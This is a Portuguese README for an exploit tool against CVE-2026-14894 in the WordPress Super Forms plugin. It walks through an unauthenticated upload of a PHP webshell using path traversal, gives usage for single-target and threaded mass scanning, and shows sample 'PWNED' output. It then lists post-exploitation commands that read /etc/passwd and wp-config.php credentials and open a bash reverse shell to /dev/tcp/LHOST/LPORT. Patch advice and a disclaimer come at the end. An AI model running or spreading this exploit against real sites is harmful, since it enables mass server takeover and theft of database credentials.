
Exploit PoC para CVE-2026-14894: upload arbitrário de arquivo não autenticado levando à execução remota de código no plugin WordPress Super Forms. Inclui modos de varredura de alvo único e em massa com descoberta automatizada de shell.
Upload não autenticado de arquivo arbitrário → Execução remota de código no plugin WordPress Super Forms versões ≤ 6.3.313.
A vulnerabilidade reside no manipulador AJAX super_submit_form, que processa uploads de arquivos através de um campo datauristring sem validar a extensão do arquivo ou o tipo MIME antes de escrever no disco. Um atacante não autenticado pode carregar um webshell PHP e obter Execução Remota de Código completa no servidor alvo.
[1] Obter nonce (nopriv)
POST /wp-admin/admin-ajax.php
action=super_create_nonce
│
▼
[2] Carregar shell PHP via datauristring (não autenticado)
POST /wp-admin/admin-ajax.php
action=super_submit_form
data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
│
├── Path Traversal → /wp-content/themes/<theme>/shell.php ← principal
│ (sempre executa)
│
└── Pasta aleatória → /wp-content/uploads/superforms/... ← fallback
(execução depende da política do servidor)
│
▼
[3] Descoberta do Shell
├── S0: media?parent=entry_id (WP REST)
├── S1: REST /wp/v2/media search (não autenticado)
├── S2: Listagem de diretório Apache/nginx
└── S3: WP sitemap attachment XML
│
▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"
pip install requests urllib3
python cve-2026-14894.py
CVE-2026-14894 │ Super Forms ≤ 6.3.313
Upload não autenticado de arquivo → Execução remota de código
Pesquisador: andrea bocchetti | PoC: Beelze
1 Alvo único
2 Múltiplos alvos (arquivo)
Modo (1/2): 1
URL do alvo : https://target.com
ID do Formulário (enter=auto) : ← deixe vazio = descoberta automática
Nome do Shell (enter=aleatório) : ← deixe vazio = nome aleatório
Arquivo Shell (enter=embutido) : ← deixe vazio = shell embutido
Usuário WP (opcional/REST) : ← opcional, melhora a descoberta
Senha WP (opcional/REST) : ← opcional
Saída esperada em caso de sucesso:
──────────────────────────────────────────────────────────────
ALVO https://target.com
──────────────────────────────────────────────────────────────
Super Forms v6.3.301 vulnerável ≤6.3.313
[1/3] Obter nonce ...................... ✔ OK a3f9e1c... sid=sess_ab...
[2/3] Upload [xkqmhzjt.php] .......... ✔ OK form_id=42 entry_id=137
[3/3] Descoberta do shell ............ ✔ ENCONTRADO → RCE [path traversal → theme]
╔══════════════════════════════════════════════════════════════╗
║ ✓ PWNED → RCE CONFIRMADO ║
║ ║
║ Shell » https://target.com/wp-content/themes/astra/shell ║
║ RCE » uid=33(www-data) gid=33(www-data) ║
║ ║
║ $ curl "https://target.com/...shell.php?c=whoami" ║
╚══════════════════════════════════════════════════════════════╝
Modo (1/2): 2
Arquivo de alvos : targets.txt ← uma URL por linha, # = comentário
ID do Formulário (enter=auto) :
Threads (enter=5) : 10
Arquivo Shell (enter=embutido) :
Usuário WP (opcional/REST) :
Senha WP (opcional/REST) :
Formato targets.txt:
# Escopo de bug bounty
https://site1.com
https://site2.com
https://site3.com
Saída da varredura em massa:
══════════════════════════════════════════════════════════════
VARREDURA EM MASSA 3 alvos threads=10
══════════════════════════════════════════════════════════════
[01/03] https://site1.com .... RCE uid=33(www-data)
↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
[02/03] https://site2.com .... WRITE sem execução
↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
[03/03] https://site3.com .... FALHA plugin inativo / bloqueado
══════════════════════════════════════════════════════════════
RESUMO 1 RCE 1 WRITE_ONLY 0 TALVEZ / 3 total
══════════════════════════════════════════════════════════════
SHELLS RCE:
» https://site1.com/wp-content/themes/astra/xkqmhzjt.php (uid=33...)
Você pode fornecer seu próprio arquivo de shell em vez do webshell embutido:
Arquivo Shell (enter=embutido): /path/to/myshell.php
A ferramenta fará o upload do seu arquivo e tratará qualquer resposta 200 com corpo não vazio como confirmação de RCE.
Após obter o RCE, interaja com o shell:
# Execução de comando
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"
# Ler configuração do WordPress (credenciais, BD)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"
# Reverse shell
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"
Os resultados são salvos automaticamente em:
~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json
| Status | Significado |
|---|---|
RCE | Shell PHP confirmado em execução — execução remota de código total |
Atualize o Super Forms para ≥ 6.3.314. A correção força a extensão apenas .pdf em uploads via datauristring e adiciona contenção com realpath() para evitar path traversal.
Esta ferramenta destina-se exclusivamente a testes de penetração autorizados, pesquisa de bug bounty e fins educacionais.
Não use contra sistemas para os quais você não tenha permissão explícita por escrito para testar.
O autor não se responsabiliza por qualquer uso indevido ou dano causado por esta ferramenta.
CVE-2026-14894 · Super Forms ≤ 6.3.313 · Upload não autenticado RCE
Pesquisador: andrea bocchetti · PoC: Beelze
| Campo | Detalhe |
|---|
| ID CVE | CVE-2026-14894 |
| Plugin | Super Forms (WordPress) |
| Afetado | ≤ 6.3.313 |
| Corrigido | 6.3.314 (força extensão .pdf + contenção realpath) |
| CVSS | 9.8 Crítico |
| Autenticação | Nenhuma |
| Pesquisador | andrea bocchetti |
| Ação AJAX | super_submit_form |
| Ponto de entrada | Campo datauristring → class-ajax.php:2762–2766 |
| Caminho de upload | /wp-content/uploads/superforms/YYYY/MM/<13digits>/ |
WRITE_ONLY | Arquivo escrito, mas PHP não executado (motor desligado / .htaccess negado) |
POSSIBLE_WRITE | Upload retornou sucesso, mas a URL do shell não pôde ser resolvida |
FAIL | Plugin inativo, nonce falhou ou versão corrigida detectada |